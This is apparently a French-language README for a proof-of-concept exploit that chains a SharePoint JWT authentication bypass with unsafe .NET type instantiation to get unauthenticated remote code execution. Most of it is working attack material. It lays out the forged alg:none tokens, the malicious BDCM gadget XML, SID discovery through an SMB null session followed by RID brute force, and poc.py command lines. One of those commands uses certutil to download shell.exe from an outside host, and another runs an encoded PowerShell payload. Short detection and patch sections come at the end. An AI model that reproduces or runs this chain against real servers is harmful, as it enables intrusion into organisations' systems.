
Chaîne d'exploitation pour une RCE non authentifiée sur Microsoft SharePoint, combinant un contournement d'authentification JWT avec une instanciation de type .NET non sécurisée pour obtenir l'exécution de code en tant que compte de service.
RCE non authentifié sur Microsoft SharePoint Server. Aucun identifiant requis.
Stephen Fewer (Rapid7) a démontré CVE-2026-55040 lors du Pwn2Own Berlin 2026. Rapid7 a ensuite découvert CVE-2026-63520 lors de recherches de suivi, et VulnCheck a indépendamment trouvé une chaîne de gadgets alternative. Ensemble, ces deux bogues vous donnent une exécution de code à distance non authentifiée contre tout SharePoint non corrigé sur Internet.
La CISA a émis des alertes dans les heures suivant la publication du PoC. Il est exploité dans la nature.
Deux bogues, une chaîne :
| CVE | Type | CVSS | Ce qui casse |
|---|---|---|---|
| CVE-2026-55040 | Contournement d'authentification JWT | 9.1 | La validation du jeton S2S de SharePoint présente quatre faiblesses indépendantes. Enchaînez-les et vous forgez un JWT valide pour n'importe quel utilisateur — y compris les administrateurs de site — sans connaître leur mot de passe. |
| CVE-2026-63520 | Instanciation de type .NET non sécurisée → RCE | 8.1 | Business Data Connectivity (BDC) résout des noms de types .NET arbitraires à partir de XML téléversé sans aucune liste blanche. Pointez-le vers ObjectDataProvider et vous obtenez Process.Start(). |
Aucun des deux bogues n'est intéressant seul. CVE-2026-63520 nécessite une authentification. CVE-2026-55040 vous donne l'authentification. Ensemble : RCE non authentifié en tant que compte de service SharePoint.
SharePoint utilise des JWT imbriqués pour l'authentification serveur-à-serveur (S2S). Un jeton externe porte l'identité de l'utilisateur, un « jeton acteur » interne représente l'application appelante. Quatre faiblesses dans SPJsonWebSecurityTokenHandlerV2.ValidateToken() font tout s'effondrer :
Faiblesse 1 — La vérification de signature est désactivée. Le validateur définit RequireSignedTokens = false. Le jeton externe accepte alg: none. Aucune signature requise.
Faiblesse 2 — Résolution x5t sans vérification. La clé de signature du jeton acteur est résolue en recherchant l'en-tête x5t (empreinte du certificat) dans le magasin de certificats. SharePoint ne vérifie jamais si la signature du jeton acteur correspond réellement à cette clé.
Faiblesse 3 — La validation de l'émetteur accepte les certificats inconnus. ValidateIssuer() réussit si le certificat de signature n'est pas dans la collection TrustedSecurityTokenServices. Le propre certificat STS de SharePoint n'y est pas enregistré. Donc, y faire référence via x5t passe la validation de l'émetteur inconditionnellement.
Faiblesse 4 — Vérification de signature non cryptographique. GetTokenSignature() exige une chaîne non vide mais ne fait aucune validation cryptographique. N'importe quelle valeur fonctionne. AAAA fonctionne.
Le certificat STS est public. Vous le récupérez depuis /_layouts/15/metadata/json/1 — un point de terminaison non authentifié — calculez l'empreinte SHA-1, et vous avez tout ce qu'il vous faut.
Jeton externe (porte l'identité de l'utilisateur) :
// En-tête
{"alg": "none", "typ": "JWT"}
// Charge utile
{
"aud": "00000003-0000-0ff1-ce00-000000000000/SPHOST@<realm>",
"iss": "00000003-0000-0ff1-ce00-000000000000@<realm>",
"nameid": "<SID ou UPN cible>",
"nii": "urn:office:idp:activedirectory",
"trustedfordelegation": "true",
"actortoken": "<JWT interne>"
}
// Signature : vide (alg:none)
Jeton acteur interne (représente l'« application ») :
// En-tête
{"alg": "RS256", "typ": "JWT", "x5t": "<empreinte du certificat STS>"}
// Charge utile
{
"iss": "00000003-0000-0ff1-ce00-000000000000@<realm>",
"nameid": "00000003-0000-0ff1-ce00-000000000000@<realm>",
"nbf": 1756000000,
"exp": 1756003600
}
// Signature : "AAAA" (littéralement n'importe quoi de non vide)
Trois façons de choisir une identité :
Le service Business Data Connectivity de SharePoint permet aux administrateurs de définir des sources de données externes via des fichiers XML de modèle BDC (.bdcm). Ces modèles spécifient des types .NET que BDC instancie à l'exécution.
Le problème se trouve dans DbTypeReflector.ResolveDotNetType() :
// Microsoft.SharePoint.BusinessData.SystemSpecific.Db.DbTypeReflector
if (abstractTypeName.Length < 15)
{
return base.ResolveDotNetType(abstractTypeName, lobSystemStruct);
}
return Type.GetType(abstractTypeName, throwOnError: true); // n'importe quel type dans le GAC
Les noms de types de moins de 15 caractères passent par un résolveur sûr. Tout ce qui est plus long appelle directement Type.GetType() — qui résout n'importe quel nom de type qualifié par assembly depuis le Global Assembly Cache. Pas de liste blanche. Pas de liste noire. L'attaquant contrôle abstractTypeName via le XML BDCM.
Nous utilisons System.Windows.Data.ObjectDataProvider de PresentationFramework. Lorsque vous définissez sa propriété ObjectInstance, il invoque MethodName sur cette instance. Définissez MethodName = "Start" et ObjectInstance = System.Diagnostics.Process avec un StartInfo élaboré, et la réflexion du setter de propriété de BDC fait le reste :
ObjectDataProvider créé
→ MethodName = "Start"
→ ObjectInstance = Process
→ StartInfo.FileName = "cmd.exe"
→ StartInfo.Arguments = "/c <payload>"
→ StartInfo.UseShellExecute = false
→ StartInfo.CreateNoWindow = true
→ le setter de propriété déclenche QueryWorker()
→ BeginQuery() → InvokeMethodOnInstance()
→ Type.InvokeMember("Start") → Process.Start()
Le XML BDCM qui transporte ceci :
<TypeDescriptor Name="ReturnRoot"
TypeName="System.Windows.Data.ObjectDataProvider, PresentationFramework,
Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35">
<TypeDescriptors>
<TypeDescriptor Name="MethodName" TypeName="System.String">
<DefaultValues>
<DefaultValue ...>Start</DefaultValue>
</DefaultValues>
</TypeDescriptor>
<TypeDescriptor Name="ObjectInstance"
TypeName="System.Diagnostics.Process, System, ...">
<TypeDescriptor Name="StartInfo"
TypeName="System.Diagnostics.ProcessStartInfo, System, ...">
<TypeDescriptor Name="FileName" TypeName="System.String">
<DefaultValues><DefaultValue ...>cmd.exe</DefaultValue></DefaultValues>
</TypeDescriptor>
<TypeDescriptor Name="Arguments" TypeName="System.String">
<DefaultValues><DefaultValue ...>/c whoami</DefaultValue></DefaultValues>
</TypeDescriptor>
</TypeDescriptor>
</TypeDescriptor>
</TypeDescriptors>
</TypeDescriptor>
VulnCheck a documenté une chaîne alternative utilisant System.Web.UI.LosFormatter avec désérialisation TypeConfuseDelegate via un LobSystem DotNetAssembly. Plusieurs gadgets fonctionnent — la primitive sous-jacente est une instanciation de type sans restriction.
Attaquant Serveur SharePoint
│ │
│── GET /_layouts/15/metadata/json/1 ──▶│
│◀── Certificat STS (x5t + realm) ─────│ (non authentifié)
│ │
│── Session SMB nulle vers le DC ──────────▶ Contrôleur de domaine
│◀── SID de domaine ────────────────────│
│ │
│── Forge JWT (alg:none + sig AAAA) ─│
│── POST /_api/contextinfo ──────────▶│
│◀── FormDigestValue ────────────────│ CVE-2026-55040 : authentifié en admin
│ │
│── POST /_api/web/lists ────────────▶│ créer le catalogue BDC
│── POST .../Files/add(evil.bdcm) ──▶│ téléverser la chaîne de gadgets
│── POST /_vti_bin/client.svc/ ──────▶│ déclencher ProcessQuery
│ ProcessQuery │
│ │ CVE-2026-63520 : Process.Start()
│ │ → cmd.exe /c <payload>
│ │ → s'exécute en tant que compte de service SP
Six étapes :
Récupérez le certificat STS. Frappez /_layouts/15/metadata/json/1. Aucune authentification requise. Extrayez le certificat X.509 de keys[0].keyValue.value, hachez-le en SHA-1, encodez en base64url. C'est votre x5t. Le champ issuer vous donne le realm.
Trouvez un administrateur de site. Session SMB nulle vers le contrôleur de domaine, LsarQueryInformationPolicy LSARPC pour obtenir le SID de domaine, puis itérez les RID (500, 1000-10000) en forgeant un JWT pour chacun jusqu'à ce que /_api/web/currentuser renvoie IsSiteAdmin: true. Ou fournissez simplement un UPN connu.
Forgez le JWT. Externe : alg:none, nameid = SID admin, actortoken = JWT interne. Interne : alg:RS256, x5t = empreinte STS, signature = AAAA. Encodez en base64url, concaténez avec des points. Terminé.
La mise à jour cumulative d'août 2026 ajoute ValidateSafeBcsType() pour restreindre les types .NET que BDC peut instancier. Le correctif JWT ajoute une vérification de signature appropriée et enregistre le certificat STS dans la collection des services de jetons de confiance.
Le support standard de SharePoint 2016 a pris fin en 2026. Les organisations sans support étendu peuvent ne pas recevoir le correctif.
Installez les dépendances :
pip install requests
pip install impacket # nécessaire uniquement pour la découverte automatique de SID via --domain-ip
python3 poc.py \
--target 192.168.1.10 \
--domain-ip 192.168.1.5 \
--cmd "cmd.exe /c whoami > C:\Windows\Temp\pwned.txt"
Le script va :
x5t et realm depuis les métadonnées STSpython3 poc.py \
--target sharepoint.corp.local \
--upn [email protected] \
--cmd "powershell -enc JABjAD0ATgBlAHcALQBPAGIA..."
python3 poc.py \
--target 10.0.0.50 \
--sid S-1-5-21-4203888158-2793536450-3921675298-500 \
--cmd "certutil -urlcache -split -f http://10.0.0.100/shell.exe C:\Windows\Temp\shell.exe"
python3 poc.py \
--target 10.0.0.50 \
--auto-upn \
--username administrator \
--cmd "calc.exe"
python3 poc.py \
--target 192.168.1.10 \
--domain-ip 192.168.1.5 \
--cmd "dummy" \
--check-only
Vous voulez voir Authenticated as: SHAREPOINT\system (System Account) [SITE ADMIN]. Cela confirme que le contournement JWT fonctionne et que vous avez un accès de niveau administrateur.
python3 poc.py \
--target 10.0.0.50 \
--port 8443 \
--upn [email protected] \
--cmd "whoami"
Éléments à surveiller :
alg: none frappant les points de terminaison SharePoint. Les jetons S2S légitimes utilisent toujours RS256./_layouts/15/metadata/json/1 suivies d'appels API authentifiés depuis la même adresse IP source. Le point de terminaison de métadonnées est public, mais une reconnaissance suivie d'un accès de niveau administrateur est suspecte..bdcm apparaissant dans BusinessDataMetadataCatalog. La plupart des déploiements SharePoint n'utilisent pas BDC du tout. Tout téléversement BDCM mérite une enquête.ProcessQuery référençant des entités BDC inconnues, en particulier avec ObjectDataProvider ou LosFormatter dans les noms de types d'entités.w3wp.exe (pool d'applications SharePoint). cmd.exe, powershell.exe, certutil.exe comme processus enfants du processus de travail sont des indicateurs classiques.Pour les tests de sécurité autorisés uniquement. Obtenez une autorisation écrite avant d'exécuter ceci contre quoi que ce soit que vous ne possédez pas.
| Mode | nameid | nii | Ce dont vous avez besoin |
|---|
| SID | S-1-5-21-...-1605 | urn:office:idp:activedirectory | SID de domaine (via session SMB nulle) + brute-force RID |
| UPN | upn_bypass + revendication upn | urn:office:idp:activedirectory | Un UPN valide (ex. [email protected]) |
| AccessToken | 0#.w|nt authority\local service | AccessToken | Rien. Accès limité mais suffisant pour certaines chaînes. |
Obtenez un digest de formulaire. POST /_api/contextinfo avec le jeton Bearer forgé. SharePoint vous remet un FormDigestValue pour les opérations d'écriture.
Téléversez le BDCM. Créez une bibliothèque BusinessDataMetadataCatalog, téléversez le XML .bdcm malveillant contenant la chaîne de gadgets ObjectDataProvider.
Déclenchez. POST /_vti_bin/client.svc/ProcessQuery avec une requête qui résout l'entité BDC. SharePoint instancie les types du BDCM, définit les propriétés via réflexion, et ObjectDataProvider déclenche Process.Start(). Le code s'exécute en tant que compte de service SharePoint.
| Produit | Vulnérable en dessous de | Correctif | KB |
|---|
| SharePoint Server Subscription Edition | 16.0.19725.20522 | CU d'août 2026 | KB5002893 |
| SharePoint Server 2019 | 16.0.10417.20198 | SU d'août 2026 | - |
| SharePoint Enterprise Server 2016 | 16.0.5565.1001 | SU d'août 2026 | - |